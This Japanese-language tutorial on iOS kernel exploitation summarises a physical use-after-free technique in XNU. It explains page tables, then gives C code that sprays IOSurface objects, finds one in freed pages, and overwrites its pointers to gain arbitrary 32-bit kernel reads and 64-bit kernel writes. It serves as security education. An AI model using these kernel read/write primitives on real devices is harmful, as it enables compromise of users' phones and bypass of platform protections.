iOS Exploiting

Reading time: 11 minutes

Physical use-after-free

これはhttps://alfiecg.uk/2024/09/24/Kernel-exploit.htmlの投稿からの要約であり、この技術を使用したエクスプロイトに関するさらなる情報はhttps://github.com/felix-pb/kfdで見つけることができます。

Memory management in XNU

iOSのユーザープロセスの仮想メモリアドレス空間0x0から0x8000000000まで広がっています。しかし、これらのアドレスは物理メモリに直接マッピングされているわけではありません。代わりに、カーネルページテーブルを使用して仮想アドレスを実際の物理アドレスに変換します。

Levels of Page Tables in iOS

ページテーブルは3つのレベルで階層的に整理されています:

  1. L1 Page Table (Level 1):
  • ここにある各エントリは、大きな範囲の仮想メモリを表します。
  • 0x1000000000バイト(または256 GB)の仮想メモリをカバーします。
  1. L2 Page Table (Level 2):
  • ここにあるエントリは、特に0x2000000バイト(32 MB)の小さな仮想メモリ領域を表します。
  • L1エントリは、全体の領域を自分でマッピングできない場合、L2テーブルを指すことがあります。
  1. L3 Page Table (Level 3):
  • これは最も細かいレベルで、各エントリは単一の4 KBメモリページをマッピングします。
  • より細かい制御が必要な場合、L2エントリはL3テーブルを指すことがあります。

Mapping Virtual to Physical Memory

  • Direct Mapping (Block Mapping):
  • ページテーブルの一部のエントリは、仮想アドレスの範囲を連続した物理アドレスの範囲に直接マッピングします(ショートカットのように)。
  • Pointer to Child Page Table:
  • より細かい制御が必要な場合、あるレベルのエントリ(例:L1)は次のレベルの子ページテーブルを指すことができます(例:L2)。

Example: Mapping a Virtual Address

仮に仮想アドレス0x1000000000にアクセスしようとするとします:

  1. L1 Table:
  • カーネルは、この仮想アドレスに対応するL1ページテーブルエントリをチェックします。もしL2ページテーブルへのポインタがあれば、そのL2テーブルに進みます。
  1. L2 Table:
  • カーネルは、より詳細なマッピングのためにL2ページテーブルをチェックします。このエントリがL3ページテーブルを指している場合、そこに進みます。
  1. L3 Table:
  • カーネルは最終的なL3エントリを調べ、実際のメモリページの物理アドレスを指します。

Example of Address Mapping

物理アドレス0x800004000をL2テーブルの最初のインデックスに書き込むと、次のようになります:

  • 仮想アドレス0x1000000000から0x1002000000は、物理アドレス0x800004000から0x802004000にマッピングされます。
  • これはL2レベルでのブロックマッピングです。

また、L2エントリがL3テーブルを指している場合:

  • 仮想アドレス範囲0x1000000000 -> 0x1002000000の各4 KBページは、L3テーブルの個別のエントリによってマッピングされます。

Physical use-after-free

物理的なuse-after-free(UAF)は、次のような場合に発生します:

  1. プロセスが読み取り可能かつ書き込み可能なメモリを割り当てます。
  2. ページテーブルがこのメモリをプロセスがアクセスできる特定の物理アドレスにマッピングするように更新されます。
  3. プロセスがメモリを解放(フリー)します。
  4. しかし、バグのために、カーネルはページテーブルからマッピングを削除するのを忘れ、対応する物理メモリをフリーとしてマークします。
  5. カーネルはその後、この「解放された」物理メモリをカーネルデータなどの他の目的のために再割り当てできます。
  6. マッピングが削除されなかったため、プロセスはこの物理メモリに読み書きを続けることができます。

これは、プロセスがカーネルメモリのページにアクセスできることを意味し、そこには機密データや構造が含まれている可能性があり、攻撃者がカーネルメモリを操作できる可能性があります。

Exploitation Strategy: Heap Spray

攻撃者は解放されたメモリにどの特定のカーネルページが割り当てられるかを制御できないため、ヒープスプレーと呼ばれる技術を使用します:

  1. 攻撃者はカーネルメモリに多数のIOSurfaceオブジェクトを作成します。
  2. 各IOSurfaceオブジェクトには、そのフィールドの1つにマジックバリューが含まれており、識別が容易です。
  3. 攻撃者は解放されたページをスキャンして、これらのIOSurfaceオブジェクトのいずれかが解放されたページに配置されているかを確認します。
  4. 解放されたページにIOSurfaceオブジェクトを見つけると、それを使用してカーネルメモリを読み書きできます。

この詳細についてはhttps://github.com/felix-pb/kfd/tree/main/writeupsを参照してください。

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: 攻撃者は特別な識別子(「マジックバリュー」)を持つ多くのIOSurfaceオブジェクトを作成します。
  2. Scan Freed Pages: 彼らは、オブジェクトのいずれかが解放されたページに割り当てられているかを確認します。
  3. Read/Write Kernel Memory: IOSurfaceオブジェクトのフィールドを操作することで、カーネルメモリ内で任意の読み取りと書き込みを行う能力を得ます。これにより、彼らは:
  • 1つのフィールドを使用してカーネルメモリ内の任意の32ビット値読み取ることができます。
  • 別のフィールドを使用して64ビット値を書き込むことができ、安定したカーネルの読み書きプリミティブを実現します。

IOSURFACE_MAGICというマジックバリューを持つIOSurfaceオブジェクトを生成して、後で検索します:

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

解放された物理ページ内の**IOSurface**オブジェクトを検索します:

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

IOSurfaceを使用したカーネルの読み書きの実現

カーネルメモリ内のIOSurfaceオブジェクトを制御できるようになると(ユーザースペースからアクセス可能な解放された物理ページにマッピングされている)、任意のカーネルの読み書き操作に使用できます。

IOSurfaceの重要なフィールド

IOSurfaceオブジェクトには2つの重要なフィールドがあります:

  1. 使用カウントポインタ32ビットの読み取りを許可します。
  2. インデックス付きタイムスタンプポインタ64ビットの書き込みを許可します。

これらのポインタを上書きすることで、カーネルメモリ内の任意のアドレスにリダイレクトし、読み書き機能を有効にします。

32ビットカーネル読み取り

読み取りを行うには:

  1. 使用カウントポインタをターゲットアドレスから0x14バイトオフセットを引いた位置にポイントするように上書きします。
  2. get_use_countメソッドを使用して、そのアドレスの値を読み取ります。
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64ビットカーネル書き込み

書き込みを行うには:

  1. インデックス付きタイムスタンプポインタをターゲットアドレスに上書きします。
  2. set_indexed_timestampメソッドを使用して64ビット値を書き込みます。
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

エクスプロイトフローの再確認

  1. 物理的なUse-After-Freeをトリガー: 解放されたページは再利用可能です。
  2. IOSurfaceオブジェクトをスプレー: カーネルメモリにユニークな「マジックバリュー」を持つ多くのIOSurfaceオブジェクトを割り当てます。
  3. アクセス可能なIOSurfaceを特定: 制御している解放されたページ上のIOSurfaceを見つけます。
  4. Use-After-Freeを悪用: IOSurfaceオブジェクト内のポインタを変更して、IOSurfaceメソッドを介して任意のカーネルの読み書きを可能にします。

これらのプリミティブを使用して、エクスプロイトは制御された32ビットの読み取り64ビットの書き込みをカーネルメモリに提供します。さらなる脱獄ステップでは、より安定した読み書きプリミティブが必要になる可能性があり、追加の保護(例:新しいarm64eデバイスのPPL)をバイパスする必要があるかもしれません。